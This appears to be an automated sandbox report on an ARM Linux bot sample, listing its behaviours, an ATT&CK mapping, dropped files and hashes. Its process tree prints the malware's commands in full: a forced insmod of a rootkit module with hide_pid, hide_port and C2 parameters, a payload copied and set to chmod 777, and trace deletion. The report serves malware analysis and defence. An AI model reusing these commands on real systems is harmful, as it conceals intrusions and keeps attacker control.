Overview

overview

7

Static

static

1

arm7.elf

debian-12-armhf

7

Analysis

  • max time kernel
    140s
  • max time network
    152s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    26/08/2026, 03:22

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General

  • Target
    arm7.elf
  • Size 225KB
  • Sample260826-dw1adasajf
  • SHA256 9fe74b2b6d0a3b3166f1707cb4bd697e17f9dabbac8e30e7f12818fc0b1140e1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 2 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Reads list of loaded kernel modules 1 TTPs 1 IoCs

    Reads the list of currently loaded kernel modules, possibly to detect virtual environments.

    defense_evasion
  • Changes its process name 12 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 7 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/arm7.elf
    /tmp/arm7.elf
    1⤵
    • Deletes itself
    • Executes dropped EXE
    • Creates/modifies Cron job
    • Modifies init.d
    • Changes its process name
    • Reads runtime system information
    • Writes file to tmp directory
    PID:785
    • /bin/sh
      /bin/sh -c "insmod -f /tmp/99134a.ko hide_pid=788 hide_port=55650 hide_name=99134a hide_name2=.ba4dff hide_name3=.e180fe hide_name4=.ba4dff.lck cnc_ip=3331371858 cnc_port=55650 bid=arm7 bot_path=/var/tmp/.ba4dff 2>/dev/null"
      2⤵
      • Command and Scripting Interpreter: Unix Shell
      • System Network Configuration Discovery
      PID:808
      • /usr/sbin/insmod
        insmod -f /tmp/99134a.ko "hide_pid=788" "hide_port=55650" "hide_name=99134a" "hide_name2=.ba4dff" "hide_name3=.e180fe" "hide_name4=.ba4dff.lck" "cnc_ip=3331371858" "cnc_port=55650" "bid=arm7" "bot_path=/var/tmp/.ba4dff"
        3⤵
        • System Network Configuration Discovery
        PID:878
    • /bin/sh
      /bin/sh -c "cp -f /var/tmp/.e180fe /tmp/x 2>/dev/null; chmod 777 /tmp/x 2>/dev/null"
      2⤵
      • File and Directory Permissions Modification
      PID:853
      • /usr/bin/cp
        cp -f /var/tmp/.e180fe /tmp/x
        3⤵
        • Writes file to tmp directory
        PID:879
      • /usr/bin/chmod
        chmod 777 /tmp/x
        3⤵
        • File and Directory Permissions Modification
        PID:880
    • /tmp/x
      /tmp/x
      2⤵
      • Deletes itself
      • Creates/modifies Cron job
      • Modifies init.d
      • Reads list of loaded kernel modules
      • Changes its process name
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:806
      • /bin/sh
        /bin/sh -c "insmod -f /tmp/99134a.ko hide_pid=882 hide_port=55650 hide_name=99134a hide_name2=.ba4dff hide_name3=.e180fe hide_name4=.ba4dff.lck cnc_ip=3331371858 cnc_port=55650 bid=arm7 bot_path=/var/tmp/.ba4dff 2>/dev/null"
        3⤵
        • Command and Scripting Interpreter: Unix Shell
        • System Network Configuration Discovery
        PID:887
        • /usr/sbin/insmod
          insmod -f /tmp/99134a.ko "hide_pid=882" "hide_port=55650" "hide_name=99134a" "hide_name2=.ba4dff" "hide_name3=.e180fe" "hide_name4=.ba4dff.lck" "cnc_ip=3331371858" "cnc_port=55650" "bid=arm7" "bot_path=/var/tmp/.ba4dff"
          4⤵
          • System Network Configuration Discovery
          PID:946
      • /bin/sh
        /bin/sh -c "echo 882 > /sys/module/99134a/parameters/hide_pid 2>/dev/null"
        3⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:958
      • /bin/sh
        /bin/sh -c "echo 882 > /sys/module/99134a/parameters/hide_pid 2>/dev/null"
        3⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:965
      • /bin/sh
        /bin/sh -c "echo 882 > /sys/module/99134a/parameters/hide_pid 2>/dev/null"
        3⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:966
      • /bin/sh
        /bin/sh -c "rm -f /tmp/99134a.ko; rm -rf /tmp/.99134a"
        3⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:967
        • /usr/bin/rm
          rm -f /tmp/99134a.ko
          4⤵
            PID:968
          • /usr/bin/rm
            rm -rf /tmp/.99134a
            4⤵
              PID:969
        • /bin/sh
          /bin/sh -c "echo 788 > /sys/module/99134a/parameters/hide_pid 2>/dev/null"
          2⤵
          • Command and Scripting Interpreter: Unix Shell
          PID:881

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            Unix Shell

            1
            T1059.004

            Scheduled Task/Job

            1
            T1053

            Cron

            1
            T1053.003

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Boot or Logon Initialization Scripts

            1
            T1037

            RC Scripts

            1
            T1037.004

            Scheduled Task/Job

            1
            T1053

            Cron

            1
            T1053.003

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Boot or Logon Initialization Scripts

            1
            T1037

            RC Scripts

            1
            T1037.004

            Scheduled Task/Job

            1
            T1053

            Cron

            1
            T1053.003

            Defense Evasion

            File and Directory Permissions Modification

            1
            T1222

            Linux and Mac File and Directory Permissions Modification

            1
            T1222.002

            Virtualization/Sandbox Evasion

            1
            T1497

            Credential Access

            Discovery

            System Information Discovery

            1
            T1082

            System Network Configuration Discovery

            1
            T1016

            Virtualization/Sandbox Evasion

            1
            T1497

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

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            Downloads

            a8f6c9
            • Path /etc/init.d/a8f6c9
            • Size 128B
            • SHA256 d4aea4d1ecc7ffb7c1c0520bfed1ae5f0d41553b3e1afa619db824339bc7d1fb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            .lxl.lck
            • Path /tmp/.lxl.lck
            • Size 3B
            • SHA256 bcaf44f4041e62e142d50cad2aae2520e01247cd144d28d4ab20b758524a7217
            • MD5 SHA1 SHA512
            Submit Download

            .lxl.lck
            • Path /tmp/.lxl.lck
            • Size 3B
            • SHA256 d7be6321b3d940822dd195bcc86cca411cd9d95f82301d04b84119671575a2d9
            • MD5 SHA1 SHA512
            Submit Download

            .netis.lck
            • Path /tmp/.netis.lck
            • Size 3B
            • SHA256 a829c72c42755e384141ad8f163e4965ef5c9f8f0e07378c1d05a7222af0dd80
            • MD5 SHA1 SHA512
            Submit Download

            .netis.lck
            • Path /tmp/.netis.lck
            • Size 3B
            • SHA256 0b06d2ffebd5c025cf444cb95a73e1fff046569238eafd1e80f511ea2a807de3
            • MD5 SHA1 SHA512
            Submit Download

            .tenda.lck
            • Path /tmp/.tenda.lck
            • Size 3B
            • SHA256 5d85be4cc5af40a7cf2c4f0818d92689c185fdea6566745ef26305d80413f483
            • MD5 SHA1 SHA512
            Submit Download

            .tenda.lck
            • Path /tmp/.tenda.lck
            • Size 3B
            • SHA256 e6f095e985e6762f1538b47ff1abda58dbe8ce088b16d8a5744fc179e9a2fc16
            • MD5 SHA1 SHA512
            Submit Download

            .wd.pid
            • Path /tmp/.wd.pid
            • Size 3B
            • SHA256 3055e0d8130c7a197bc6e020afe9bea1edef31f33b720cc326dd404d8e3f82d5
            • MD5 SHA1 SHA512
            Submit Download

            .wd.pid
            • Path /tmp/.wd.pid
            • Size 3B
            • SHA256 9f006addc898a6458ff29db72de90b27e29302c92b9c73e33515df56290bd855
            • MD5 SHA1 SHA512
            Submit Download

            .wr.lck
            • Path /tmp/.wr.lck
            • Size 3B
            • SHA256 313c938e0103b56b43632b702e3e63447fab1f90a4fe890ca5abb7a6cf8830ee
            • MD5 SHA1 SHA512
            Submit Download

            .wr.lck
            • Path /tmp/.wr.lck
            • Size 3B
            • SHA256 46db1ca7f3598c26c3e6c8d99e3ed95d2b1c76db040b8f8cd29af723ee086077
            • MD5 SHA1 SHA512
            Submit Download

            root
            • Path /var/spool/cron/crontabs/root
            • Size 48B
            • SHA256 40aa7cb5720b041e535711be05c656799b12232d149e298a55ed34549679f78f
            • MD5 SHA1 SHA512
            Submit Download

            .ba4dff
            • Path /var/tmp/.ba4dff
            • Size 225KB
            • SHA256 9fe74b2b6d0a3b3166f1707cb4bd697e17f9dabbac8e30e7f12818fc0b1140e1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            .r.sh
            • Path /var/tmp/.r.sh
            • Size 234B
            • SHA256 f388681261b625bf5be97977f16eed740d7be39990674f553ed8037a177709b8
            • MD5 SHA1 SHA512 TLSH
            Submit Download